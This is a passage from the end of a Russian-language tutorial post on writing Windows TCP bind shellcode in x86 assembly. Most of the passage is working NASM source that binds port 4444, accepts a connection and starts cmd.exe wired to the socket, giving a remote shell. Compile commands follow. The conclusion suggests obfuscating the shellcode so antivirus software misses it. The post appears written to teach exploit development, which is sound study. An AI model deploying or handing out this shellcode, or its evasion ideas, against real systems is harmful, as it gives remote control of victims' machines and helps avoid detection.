	call [ebp - 0x1c]	; Call WSASocketA
	mov esi, eax		; save socket descriptor

;=====================================
;	Call Bind
;=====================================
	; creating sockaddr_in structure
	xor eax, eax
	push eax		; 0 - all interfaces
	push WORD 0x5c11	; 4444 port
	push WORD 2		; sin_family = AF_INET = 2
	mov ebx, esp		; set pointer to struct sockaddr_in
				; placing arguments
	xor eax, eax
	mov al, 0x10		; size of struct sockaddr_in
	push eax		; Push the namelen argument which has been set to 16.
	push ebx		; Push the name argument which has been set to 
				; the initialized struct sockaddr in on the stack.
	push esi		; socket descriptor
	call [ebp - 0x20]	; Calling Bind

;=====================================
;	Call Listen
;=====================================
listen:
	push 0x10		; int backlog
	push esi		; socket
	call [ebp - 0x24]	; Listen
;=====================================
;	Call Accept
;=====================================
	xor ebx, ebx		; zero ebx
	mov ebx, 0x10		; place size of struct
	push ebx		; we need pointer to size
	mov edx, esp		; pointer to size
	sub esp, ebx		; a place for sockaddr in structure of client
	mov ecx, esp		; pointer to this place
	push edx
	push ecx
	push esi		; socket descriptor
	call [ebp - 0x28]	; call accept
	mov esi, eax		; save client descriptor

;=====================================
;	Call cmd.exe
;=====================================
	push 0x657865
	push 0x2e646d63		; cmd.exe
	mov [ebp - 0x2c], esp

	xor ecx, ecx		; zero ecx
	mov cl, 0x54		; size of STARTUPINFO
	sub esp, ecx		; allocate space for the two structures
	mov edi, esp		; set edi to point to STARTUPINFO structure
	push edi		; Preserve edi on the stack as it will be modified 
				; by the following instructions
	xor eax, eax		; Zero eax to for use with stosb to zero 
				; out the two structures.
	rep stosb		; Repeat storing zero at the buffer starting at edi 
				; until ecx is zero.
	pop edi			; restore eid
	mov byte [edi], 0x44	; Set the cb attribute of STARTUPINFO to 0x44 
				; (the size of the structure).
	inc byte [edi + 0x2d]	; dwFlags: Set the STARTF USESTDHANDLES flag
				; to indicate that the hStdInput, hStdOutput, 
				; and hStdError attributes should be used.
	push edi		;preserve edi again as it will be modified by the stosd
	mov eax, esi		; place socket descriptor into eax
	lea edi, [edi + 0x38]	; Load the effective address of the hStdInput 
				; attribute in the STARTUPINFO structure.
	stosd			; Set the hStdInput attribute to the file 
				; descriptor returned from WSASocket.
	stosd			; Set the hStdOutput attribute to the file 
				; descriptor returned from WSASocket.
	stosd			; Set the hStdError attribute to the file 
				; descriptor returned from WSASocket.
	pop edi			; Restore edi to its original value
	xor eax, eax
	lea esi, [edi + 0x44]	; Load the effective address of 
				; the PROCESS INFORMATION structure into esi.
	push esi		; Push the pointer to the lpProcessInformation struc.
	push edi		; Push the pointer to the lpStartupInfo structure.
	
	push eax		; Push the lpStartupDirectory argument as NULL.
	push eax		; Push the lpEnvironment argument as NULL.
	push eax		; Push the dwCreationFlags argument as 0.
	inc eax					
	push eax		; Push the bInheritHandles argument as 
				; TRUE due to the fact that the
				; client needs to inherit the socket file descriptor.
	dec eax
	push eax		; Push the lpThreadAttributes argument as NULL.
	push eax		; Push the lpProcessAttributes argument as NULL.
	
	mov eax, [ebp - 0x2c]
	push eax		; Push the lpCommandLine argument as the pntr cmd
	xor eax, eax
	push eax		; Push the lpApplicationName argument as NULL.
	call [ebp - 0x4]	; Call CreateProcessA

Для компиляции шеллкода выполним:

nasm -f win32 portbind.asm & gcc -o portbind.exe portbind.obj

Запустим его и установим соединение.

Компиляция, запуск и установление соединения с шеллкодом

image

Заключение

Таким образом, мы рассмотрели один из вариантов создания Windows TCP Bind шеллкода. Другие типовые шеллкоды типа Reverse TCP или Exec cmd могут быть легко написаны после разбора этого примера.

Направления дальнейшей работы могут быть такими:

  • избавление шеллкода от нулевых байтов x00. Здесь будет использоваться «полиморфизм» — достижение одного и то же результата разными инструкциями ассемблера;
  • обфускация шеллкода от обнаружения антивирусами — один из вариантов, когда тело шеллкода расшифровывается в памяти и затем выполняется, таким образом большинство антивирусов не обнаруживают шеллкод;
  • можно добавить возможность многократного подключения к шеллкоду — в текущем примере для повторного подключения необходимо перезапускать шеллкод;
  • минимизации кода — некоторые куски кода можно оптимизировать, чтобы длина шеллкода была меньше.

Полезные ссылки:

  • Код на githab;
  • Самой полезной для меня оказалась книга. В ней рассмотрены основные шеллкоды, техники (например, socket reuse);
  • Серия статей corelan;

Если у вас остались вопросы, то пишите в комментариях.

Автор: SergeyGusev

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js